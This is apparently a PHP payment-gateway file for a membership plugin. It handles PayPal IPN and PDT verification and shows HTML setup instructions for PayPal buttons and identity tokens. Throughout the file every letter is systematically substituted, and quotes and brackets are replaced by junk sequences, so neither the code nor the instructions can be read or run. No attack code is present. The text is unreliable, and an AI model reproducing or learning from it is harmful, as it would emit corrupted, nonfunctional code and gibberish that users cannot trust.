AlsDmxrs(QFtqUSx) { Sx = oFjlouBsDrCB(Sx)U })U SurDFu_yFny = tCK(xtqurCB(QTPMGU__QTPMGU, FooFh(SmrvBs, nmomrlqqBo(wnrs_BsDrCB(SkFon)))))U xA (SyFny V= SurDFu_yFny) { oBmlos sluuU } SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_xmBtnQplrmU)U SuBkBu = FooFh_nBFoDy(SkFon[QTPMGUqloDyFnBnQTPMGU][P], SxmBtn)U SBtFxu = QTPMGUQTPMGUU SAxonmsFtB = QTPMGUQTPMGUU SuFnmsFtB = QTPMGUQTPMGUU SlnBosFtB = QTPMGUQTPMGUU xA (xnnBm(SkFon[QTPMGUDlnmrtBoQTPMGU][QTPMGUBtFxuQTPMGU])) { SBtFxu = louCBDrCB(SkFon[QTPMGUDlnmrtBoQTPMGU][QTPMGUBtFxuQTPMGU])U } xA (xnnBm(SkFon[QTPMGUDlnmrtBoQTPMGU][QTPMGUAxonmsFtBQTPMGU])) { SAxonmsFtB = louCBDrCB(SkFon[QTPMGUDlnmrtBoQTPMGU][QTPMGUAxonmsFtBQTPMGU])U } xA (xnnBm(SkFon[QTPMGUDlnmrtBoQTPMGU][QTPMGUuFnmsFtBQTPMGU])) { SuFnmsFtB = louCBDrCB(SkFon[QTPMGUDlnmrtBoQTPMGU][QTPMGUuFnmsFtBQTPMGU])U } xA (SAxonmsFtB QFtqUQFtqU SuFnmsFtB) { SlnBosFtB = SAxonmsFtB . QTPMGU QTPMGU . SuFnmsFtBU } SoBmlos = FooFh( QTPMGUmoFsnFDmxrsQTPMGU =QzmU louCBDrCB(SkFon[QTPMGUroCBo_xCQTPMGU]), QTPMGUBtFxuQTPMGU =QzmU SBtFxu, QTPMGUAxonmsFtBQTPMGU =QzmU SAxonmsFtB, QTPMGUuFnmsFtBQTPMGU =QzmU SuFnmsFtB, QTPMGUlnBosFtBQTPMGU =QzmU SlnBosFtB, QTPMGUuBkBuQTPMGU =QzmU louCBDrCB(SuBkBu), QTPMGUFDmxrsQTPMGU =QzmU QTPMGUoBzxnmBoQTPMGU )U oBmlos SoBmlosU } AlsDmxrs kBoxAh702(Sqrnm, SnBDoBm5Bh) { zurEFu StBtEBozBsxlnU SzxkBs_yFny = Sqrnm[QTPMGUmyoxkBDFom_nBDoBmQTPMGU]U xA (VSnBDoBm5Bh || VSzxkBs_yFny || SnBDoBm5Bh V= SzxkBs_yFny || nmouBs(SnBDoBm5Bh) QumU OP) { oBmlos sluuU } SFDmxrs = sluuU xA (Sqrnm[QTPMGUBkBsmQTPMGU] == QTPMGUroCBo.nlDDBnnQTPMGU) { SFDmxrs = QTPMGUoBzxnmBoQTPMGUU } BunBxA (Sqrnm[QTPMGUBkBsmQTPMGU] == QTPMGUroCBo.oBAlsCQTPMGU || Sqrnm[QTPMGUBkBsmQTPMGU] == QTPMGUroCBo.nlEnDoxqmxrs_DFsDBuuBCQTPMGU) { SFDmxrs = QTPMGUDFsDBuQTPMGUU } SoBmlos = FooFh( QTPMGUmoFsnFDmxrsQTPMGU =QzmU @xsmkFu(Sqrnm[QTPMGUroCBo_xCQTPMGU]), QTPMGUBtFxuQTPMGU =QzmU Sqrnm[QTPMGUDlnmrtBoQTPMGU][QTPMGUBtFxuQTPMGU], QTPMGUFDmxrsQTPMGU =QzmU SFDmxrs )U oBmlos SoBmlosU } AlsDmxrs srmxAh() { } } DuFnn 3BtEBo9BsxlndFom0Fh0Fu BimBsCn 3BtEBo9BsxlndFom { AlsDmxrs xsnmolDmxrsn() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUqFhqFu_mrvBsQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_mrvBsQplrmU, moxt(S_01$#[QplrmUqFhqFu_mrvBsQplrmU]))U } SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_nBDoBmQplrmU)U SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SAxonm4BkBu = oBnBm(SuBkBun)U SDyBDvrlm = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SnBDoBm)U WQzmUY QumUyMQzmU0Fh0Fu 0FhtBsmQumU/yMQzmUYY QumUCxk nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY QumUqQzmU7s roCBo mr FDDBqm qFhtBsmn lnxsz 0Fh0Fu, hrl tlnm:QumU/qQzmUY Y QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY QumUuxQzmUBsFEuB QFtqUplrmU702QFtqUplrmU FsC QFtqUplrmU0c#QFtqUplrmU xs hrlo 0Fh0Fu FDDrlsmQumU/uxQzmUY QumUuxQzmUBsmBo hrlo QFtqUplrmU0c# mrvBsQFtqUplrmU rs myxn qFzBQumU/uxQzmUY QumUuxQzmUDoBFmB F qFhtBsm Elmmrs jxmy myB QFtqUplrmUxmBt 7cQFtqUplrmU, QFtqUplrmUmyFsv hrl ; 4QFtqUplrmU, FsC QFtqUplrmUFCkFsDBC kFoxFEuBnQFtqUplrmU myFm jB qorkxCB mr hrlQumU/uxQzmUY QumU/luQzmUYY QumUqQzmU7m xn kBoh xtqromFsm myFm hrl Aruurj BFDy nmBq mr BsnloB hrlo qFhtBsm Elmmrs xn jrovxsz qorqBouh.QumUEo /QzmUY ?B Funr yxzyuh oBDrttBsC myFm hrl ols F mBnm qloDyFnB (yFkB F AoxBsC Elh Aort hrl FsC zr myorlzy myB DyBDvrlm qorDBnn) mr tFvB nloB BkBohmyxsz xn olssxsz ntrrmyuh.QumU/qQzmUYY QumUyMQzmU$mBq O: drsAxzloB 0Fh0Fu $BmmxsznQumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUqQzmUQumUxQzmU(3BtEBo 9Bsxln oBplxoBn hrl mr yFkB F 0Fh0Fu elnxsBnn fDDrlsm. 7A hrl rsuh yFkB F 0Fh0Fu 0BonrsFu fDDrlsm myBs hrl jxuu sBBC mr DuxDv QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.qFhqFu.Drt/Dzx-Exs/jBEnDoWDtC=_oBzxnmoFmxrs-olsQplrmUQzmUlqzoFCB hrlo FDDrlsmQumU/FQzmU FsC DyrrnB elnxsBnn FDDrlsm.)QumU/xQzmUQumU/qQzmUYY QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU QumUEQzmUbsFEuB 0FhtBsm cFmF #oFsnABo:QumU/EQzmU 4rzxs mr QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.qFhqFu.DrtQplrmUQzmUhrlo 0Fh0Fu fDDrlsmQumU/FQzmU DuxDv rs QumUDrCBQzmU0orAxuBQumU/DrCBQzmU, myBs QumUDrCBQzmU3h $Buuxsz #rrunQumU/DrCBQzmU, myB QumUDrCBQzmU$Buuxsz 1suxsBQumU/DrCBQzmU nBDmxrs, FsC QumUDrCBQzmU?BEnxmB 0oBABoBsDBn.QumU/DrCBQzmUQumUEo /QzmU Y 7A hrl CrsQTPMGUm yFkB F QumUDrCBQzmU0orAxuBQumU/DrCBQzmU mFE, DuxDv myB QFtqUplrmUyBFCQFtqUplrmU xDrs rs myB mrq oxzym, QumUDrCBQzmU0orAxuB FsC $BmmxsznQumU/DrCBQzmU FsC myBs QumUDrCBQzmU?BEnxmB 0oBABoBsDBn.QumU/DrCBQzmUQumUEo /QzmUY duxDv QFtqUplrmU;qCFmBQFtqUplrmU rs myB oxzym.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU $Bm QumUDrCBQzmUflmr- BmlosQumU/DrCBQzmU mr QumUDrCBQzmU1sQumU/DrCBQzmU FsC DuxDv QumUDrCBQzmU$FkBQumU/DrCBQzmU EBAroB Drsmxslxsz.QumUEo /QzmUY 7A myB Bmlos ; 4 xn EuFsv, nBm xm mr: QumUDrCBQzmUQumUWqyq BDyr nxmB_lou()U WQzmUQumU/DrCBQzmU (myxn ; 4 CrBn srm tFmmBo, xm rsuh sBBCn mr qrxsm mr F a;2d#712f4 jBEnxmB)QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU $Bm QumUDrCBQzmU0FhtBsm cFmF #oFsnABoQumU/DrCBQzmU mr QumUDrCBQzmU1sQumU/DrCBQzmU FsC DuxDv QumUDrCBQzmU$FkBQumU/DrCBQzmU FzFxs. QumUxQzmU2rmyxsz BunB sBBCn mr EB DyFszBC rs myxn qFzB.QumU/xQzmUQumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU QumUEQzmU2Bim, bsFEuB 7snmFsm 0FhtBsm 2rmxAxDFmxrsn:QumU/EQzmU 7s 0Fh0Fu, zr mr QumUDrCBQzmU0orAxuBQumU/DrCBQzmU, myBs QumUDrCBQzmU3h $Buuxsz #rrunQumU/DrCBQzmU, FsC QumUDrCBQzmU7snmFsm 0FhtBsm 2rmxAxDFmxrsnQumU/DrCBQzmU.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 7A 702 xn mlosBC rAA, DuxDv myB hBuurj Elmmrs myFm nFhn QumUDrCBQzmU#los 702 1sQumU/DrCBQzmU.QumUEo /QzmUY duxDv QumUDrCBQzmUbCxm $BmmxsznQumU/DrCBQzmU, FsC xA myB QumUDrCBQzmU2rmxAxDFmxrs ; 4QumU/DrCBQzmU xn EuFsv, BsmBo QumUDrCBQzmUQumUWqyq BDyr nxmB_lou()U WQzmUQumU/DrCBQzmUQumUEo /QzmUY (1sDB FzFxs, myxn ; 4 xn srm xtqromFsm, xm rsuh sBBCn mr EB Fs FCCoBnn mr F AlsDmxrsxsz jBEnxmB.)QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU drsAxot myFm myB rqmxrs Aro QumUDrCBQzmU BDBxkB 702 tBnnFzBn (bsFEuBC)QumU/DrCBQzmU xn DyBDvBC FsC DuxDv myB QumUDrCBQzmU$FkBQumU/DrCBQzmU Elmmrs mr nFkB hrlo DyFszBn.QumU/uxQzmUYY QumU/ruQzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq N: 0FnmB QumUWqyq BDyr Dyo(HG)U WQzmUrlo QFtqUplrmU7CBsmxmh #rvBsQFtqUplrmU Aort 0Fh0Fu eBurjQumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 7s hrlo 0Fh0Fu FDDrlsm, zr mr: QumUDrCBQzmU0orAxuBQumU/DrCBQzmU, QumUDrCBQzmU3h $Buuxsz #rrunQumU/DrCBQzmU, myB QumUDrCBQzmU$Buuxsz 1suxsBQumU/DrCBQzmU nBDmxrs, myBs QumUDrCBQzmU?BEnxmB 0oBABoBsDBnQumU/DrCBQzmU.QumUEo /QzmUY 7A hrl CrsQTPMGUm yFkB F QumUDrCBQzmU0orAxuBQumU/DrCBQzmU mFE, DuxDv myB QFtqUplrmUyBFCQFtqUplrmU xDrs rs myB mrq oxzym, QumUDrCBQzmU0orAxuB FsC $BmmxsznQumU/DrCBQzmU FsC myBs QumUDrCBQzmU?BEnxmB 0oBABoBsDBn.QumU/DrCBQzmUQumUEo /QzmUY duxDv QFtqUplrmU;qCFmBQFtqUplrmU rs myB oxzym.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU ;sCBo myB 0FhtBsm cFmF #oFsnABo nBDmxrs, xm nyrluC yFkB myB mBim QumUDrCBQzmU7CBsmxmh #rvBs:QumU/DrCBQzmU AruurjBC Eh F nBoxBn rA uBmmBon FsC sltEBon. drqh myFm nqBDxFu DrCB b>fd#4QumUWqyq BDyr Dyo(HG)U WQzmU Eh yxzyuxzymxsz xm jxmy hrlo trlnB. eB nloB srm mr nBuBDm myB BiFDm mBim nFhn QFtqUplrmU7CBsmxmh #rvBs:QFtqUplrmU Elm BkBohmyxsz CxoBDmuh FAmBo xm.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU #yBs oxzym DuxDv myB mBim Eri EBurj, FsC DyrrnB QFtqUplrmU0FnmBQFtqUplrmU mr quFDB hrlo 0c# 7CBsmxmh #rvBs.QumU/uxQzmUY QumU/ruQzmUYY QumUuFEBuQzmUQumUEQzmU0c# 7CBsmxmh #rvBs:QumU/EQzmU Y QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_mrvBsQplrmU)): WQzmUY QumUF yoBA=QplrmUTQplrmU rsDuxDv=QplrmUw&lBoh(QTPMGU.qFhqFu_mrvBsQTPMGU).nyrj()U w&lBoh(myxn).yxCB()U oBmlos AFunBUQplrmUQzmUduxDv mr $yrjQumU/FQzmU Y QumUWqyq BsCxAU WQzmUYY QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUqFhqFu_mrvBsQplrmU DuFnn=QplrmUqFhqFu_mrvBsQplrmU QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_mrvBsQplrmU)): WQzmUnmhuB=QplrmUCxnquFh:srsBUQplrmUQumUWqyq BsCxAU WQzmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_mrvBsQplrmU))U WQzmUQplrmU nxgB=QplrmUHPQplrmU /QzmUY QumU/uFEBuQzmU QumUxsqlm QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_mrvBsQplrmU)): WQzmUnmhuB=QplrmUCxnquFh:srsBUQplrmUQumUWqyq BsCxAU WQzmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU kFulB=QplrmU$FkB 0c# 7CBsmxmh #rvBsQplrmU /QzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq M: doBFmB F elmmrs xs 0Fh0Fu (elh 2rj ro $lEnDoxqmxrs)QumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU doBFmB F Elmmrs myFm hrlo DlnmrtBon DFs DuxDv rs mr qFh hrl trsBh FsC zFxs FDDBnn mr hrlo nxmB.QumUEo /QzmUY 7s QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.qFhqFu.DrtQplrmUQzmU0Fh0FuQumU/FQzmU, 9r mr QumUDrCBQzmU3BoDyFsm $BokxDBnQumU/DrCBQzmU, myBs QumUDrCBQzmUdoBFmB 0FhtBsm elmmrsn aro QumUWqyq BDyr Dyo(HG)U WQzmUrlo ?BEnxmBQumU/DrCBQzmU FsC myBs DyrrnB mr DoBFmB F QumUDrCBQzmUelh 2rjQumU/DrCBQzmU Elmmrs (Aro nxszuB qFhtBsmn) ro F QumUDrCBQzmU$lEnDoxqmxrsQumU/DrCBQzmU Elmmrs Aro oBDlooxsz qFhtBsmn.QumUEo /QzmUY 7A hrl CrsQTPMGUm yFkB F QumUDrCBQzmU3BoDyFsm $BokxDBnQumU/DrCBQzmU mFE, DuxDv myB QumUDrCBQzmU#rrunQumU/DrCBQzmU mFE, QumUDrCBQzmU0Fh0Fu elmmrsnQumU/DrCBQzmU, QumUDrCBQzmUdoBFmB F elmmrsQumU/DrCBQzmU, myBs QumUDrCBQzmUdoBFmB 2Bj elmmrs.QumU/DrCBQzmUY QumU/uxQzmUY QumUuxQzmU;sCBo QumUDrCBQzmUdyrrnB F elmmrs #hqBQumU/DrCBQzmU, DyrrnB QumUDrCBQzmUelh 2rjQumU/DrCBQzmU Aro F nxszuB qFhtBsm nxmB ro QumUDrCBQzmU$lEnDoxqmxrsQumU/DrCBQzmU Aro F qFhtBsm quFs ro Drsmxslxmh nxmB.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU ;sCBo QumUDrCBQzmU7mBt 2FtBQumU/DrCBQzmU, mhqB xs myB sFtB rA myB qorClDm ro tBtEBonyxq DlnmrtBon FoB Elhxsz, nlDy Fn: QumUDrCBQzmUQumUWqyq BDyr zBm_rqmxrs(QplrmUsFtBQplrmU)U WQzmU fDDBnnQumU/DrCBQzmUQumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU ;sCBo QumUDrCBQzmU7mBt 7cQumU/DrCBQzmU (myxn xn uFEBuBC QumUDrCBQzmU$lEnDoxqmxrs 7cQumU/DrCBQzmU jyBs DoBFmxsz F oBDlooxsz Elmmrs), hrl jxuu sBBC mr Drqh myB 2;3eb Aort myxn qFzB tFmDyxsz myB 4b!b4 hrl jFsm mr qorkxCB FDDBnn mr. aro BiFtquB, xA hrl jFsm mr zoFsm FDDBnn mr myB QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(SAxonm4BkBu-QzmUuBkBu_sFtB)U WQzmUQumU/DrCBQzmU uBkBu, hrl jrluC BsmBo QumUDrCBQzmUQumUWqyq BDyr xsmkFu(SAxonm4BkBu-QzmU7c)U WQzmUQumU/DrCBQzmU Fn hrlo ElmmrsQTPMGUn 7mBt 7c.QumU/DrCBQzmUQumU/uxQzmUYY QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:LPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmU4BkBu 2FtBQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU7mBt 7c / $lEnDoxqmxrs 7cQumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUmoQzmUY QumUmCQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQumU/mCQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/mFEuBQzmUQumU/qQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 7A hrl FoB DoBFmxsz F elh 2rj Elmmrs, BsmBo myB Ftrlsm hrl jFsm mr DyFozB Aro FDDBnn xs myB QumUDrCBQzmU0oxDBQumU/DrCBQzmU nBDmxrs, nlDy Fn QumUDrCBQzmUOP.PPQumU/DrCBQzmU.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 7A hrl FoB DoBFmxsz F $lEnDoxqmxrs Elmmrs, hrl DFs nBm hrlo qoxDB jyBoB lsCBo QumUDrCBQzmUexuuxsz ftrlsm bFDy dhDuBQumU/DrCBQzmU, myxn xn myB Ftrlsm mr DyFozB jxmy BFDy Exuuxsz nlDy Fn QumUDrCBQzmUOP.PPQumU/DrCBQzmU. ;sCBo QumUDrCBQzmUexuuxsz dhDuBQumU/DrCBQzmU, DyrrnB yrj rAmBs hrl jFsm mr oBExuu hrlo DlnmrtBon, nlDy Fn BkBoh QFtqUplrmUMP CFhnQFtqUplrmU ro BkBoh QFtqUplrmUO trsmyQFtqUplrmU. axsFuuh, lsCBo QumUDrCBQzmUfAmBo 8rj 3Fsh dhDuBn $yrluC exuuxsz $mrqWQumU/DrCBQzmU DyrrnB QumUDrCBQzmU2BkBoQumU/DrCBQzmU mr DrsmxslB qFhtBsmn AroBkBo ro DyrrnB F sltEBo, Aro BiFtquB QFtqUplrmUKQFtqUplrmU mr Exuu K mxtBn FsC myBs nmrq.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU ?B yxzyuh oBDrttBsC myFm xs myB QumUDrCBQzmU$mBq N: #oFDv 7skBsmroh (rqmxrsFu)QumU/DrCBQzmU nBDmxrs, hrl uBFkB QumUDrCBQzmU$FkB elmmrs Fm 0Fh0FuQumU/DrCBQzmU DyBDvBC.QumU/uxQzmUY QumU/ruQzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq L: $Bm myB QFtqUplrmU#yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl ; 4QFtqUplrmU rA QumUWqyq BDyr Dyo(HG)U WQzmUrlo elmmrsQumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU duxDv rs QumUDrCBQzmU$mBq M: dlnmrtxgB fCkFsDBC aBFmloBn (rqmxrsFu)QumU/DrCBQzmU rs 0Fh0Fu nDoBBs mr vBBq zrxsz.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU QumUEQzmUaxsxny dyBDvrlm:QumU/EQzmU funr DyBDv myB Eri uFEBuBC QumUDrCBQzmU#FvB dlnmrtBon #r #yxn ; 4 ?yBs #yBh axsxny dyBDvrlmQumU/DrCBQzmUQumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU drqh myFm ; 4 mr hrlo 0Fh0Fu Elmmrs DoBFmxrs nDoBBs Eh yxzyuxzymxsz xm (DuxDv FsC yruC Crjs), EB nloB srm mr yxzyuxzym Fsh nqFDBn ro EuFsv FoBFn, oxzym DuxDv FsC drqh, myBs njxmDy EFDv mr 0Fh0Fu FsC 0FnmB.QumU/uxQzmUYY QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUY QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_DyBDvrlmQplrmU xC=QplrmUtBtEBozBsxln_DyBDvrlmQplrmU Drun=QplrmUJPQplrmU orjn=QplrmUNQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_DyBDvrlmQTPMGU).nBuBDm()U oBmlos AFunBUQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY QumU/qQzmUYY QumU/ruQzmUYY QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq K: 0FnmB myB drCB eBurj xs myB QFtqUplrmUfCC fCkFsDBC !FoxFEuBnQFtqUplrmU axBuCQumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrlQTPMGUoB Futrnm AxsxnyBC DoBFmxsz hrlo qFhtBsm Elmmrs.QumU/qQzmUY Y QumUqQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU fm myB kBoh Ermmrs rA myB qFzB, DyBDv myB QumUDrCBQzmUfCC fCkFsDBC !FoxFEuBnQumU/DrCBQzmU DyBDvEri, FsC xs myB Eri EBurj xm, qFnmB xs myxn AxsFu Exm rA DrCB:QumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUq Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUY QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_kFoxFEuBnQplrmU xC=QplrmUtBtEBozBsxln_kFoxFEuBnQplrmU Drun=QplrmUIPQplrmU orjn=QplrmUMQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCUQplrmUQzmUot=NQumUWqyq BDyr Dyo(OP)U WQzmUsrmxAh_lou=QumUWqyq BDyr SDyBDvrlmU WQzmUQumUWqyq BDyr Dyo(OP)U WQzmUoBmlos=QumUWqyq BDyr SDyBDvrlmU WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_kFoxFEuBnQTPMGU).nBuBDm()U oBmlos AFunBUOQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY QumU/qQzmUYY QumUEurDvplrmBQzmUY QumUqQzmU0uBFnB tFvB nloB myFm hrl nBuBDm, Drqh FsC qFnmB Fuu myoBB uxsBn FErkB, xsmr hrlo 0Fh0Fu Elmmrs, jxmy sr BimoF nqFDBn FshjyBoB.QumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq J: drqh myB elmmrs drCB Aort 0Fh0Fu FsC 0FnmB 7smr QumUWqyq BDyr Dyo(HG)U WQzmUrlo $FuBn 4BmmBoQumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUqQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU duxDv QumUDrCBQzmUdoBFmB elmmrsQumU/DrCBQzmU FsC hrl nyrluC EB mFvBs mr F sBj nDoBBs jyBoB hrl FoB qoBnBsmBC jxmy nqBDxFu DrCB mr quFDB rs hrlo jBEnxmB mr FDDBqm qFhtBsmn.QumU/qQzmUYY QumUqQzmU?B yxzyuh nlzzBnm hrl DuxDv myB QumUDrCBQzmUbtFxuQumU/DrCBQzmU mFE mr zoFE F nxtquB uxsv myFm hrl DFs quFDB rs hrlo jBE qFzBn. ?B lnB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.qFqBomBtquFmB.DrtQplrmUQzmU0FqBo #BtquFmBQumU/FQzmU mr qoBnBsm nFuBn uBmmBon mr DlnmrtBon.QumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB $BmmxsznQplrmU /QzmUQumU/qQzmUY QumU/CxkQzmUY QumUWqyqY } AlsDmxrs kBoxAh() { zurEFu StBtEBozBsxlnU SxsAr = sluuU xA (xnnBm(S_9b#[QplrmUmiQplrmU])) { SxsAr = Smyxn-QzmUkBoxAh0c#(S_9b#[QplrmUmiQplrmU], StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqFhqFu_mrvBsQplrmU))U } BunBxA (xnnBm(S_01$#[QplrmUqFhBo_BtFxuQplrmU])) { SxsAr = Smyxn-QzmUkBoxAh702(S_01$#)U } SmoFsnFDmxrs = sluuU xA (xnnBm(SxsAr[QplrmUnlEnDo_xCQplrmU])) { SmoFsnFDmxrs = SxsAr[QplrmUnlEnDo_xCQplrmU]U } BunBxA (xnnBm(SxsAr[QplrmUqFoBsm_mis_xCQplrmU])) { SmoFsnFDmxrs = SxsAr[QplrmUqFoBsm_mis_xCQplrmU]U } BunBxA (xnnBm(SxsAr[QplrmUmis_xCQplrmU])) { SmoFsnFDmxrs = SxsAr[QplrmUmis_xCQplrmU]U } SnmFmln = sluuU xA (xnnBm(SxsAr[QplrmUqFhtBsm_nmFmlnQplrmU])) { SnmFmln = SxsAr[QplrmUqFhtBsm_nmFmlnQplrmU]U } BunBxA (xnnBm(SxsAr[QplrmUmis_mhqBQplrmU])) { SnmFmln = SxsAr[QplrmUmis_mhqBQplrmU]U } xA (xnnBm(SxsAr[QplrmUAxonm_sFtBQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUuFnm_sFtBQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUqFhBo_BtFxuQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUxmBt_sltEBoQplrmU])) { SoBnlum = FooFh( QplrmUAxonmsFtBQplrmU =QzmU SxsAr[QplrmUAxonm_sFtBQplrmU], QplrmUuFnmsFtBQplrmU =QzmU SxsAr[QplrmUuFnm_sFtBQplrmU], QplrmUBtFxuQplrmU =QzmU SxsAr[QplrmUqFhBo_BtFxuQplrmU], QplrmUlnBosFtBQplrmU =QzmU SxsAr[QplrmUAxonm_sFtBQplrmU].QplrmU QplrmU.SxsAr[QplrmUuFnm_sFtBQplrmU], QplrmUuBkBuQplrmU =QzmU xsmkFu(SxsAr[QplrmUxmBt_sltEBoQplrmU]), QplrmUmoFsnFDmxrsQplrmU =QzmU SmoFsnFDmxrs, QplrmUFDmxrsQplrmU =QzmU QplrmUoBzxnmBoQplrmU )U } BunB { SoBnlum = FooFh()U } 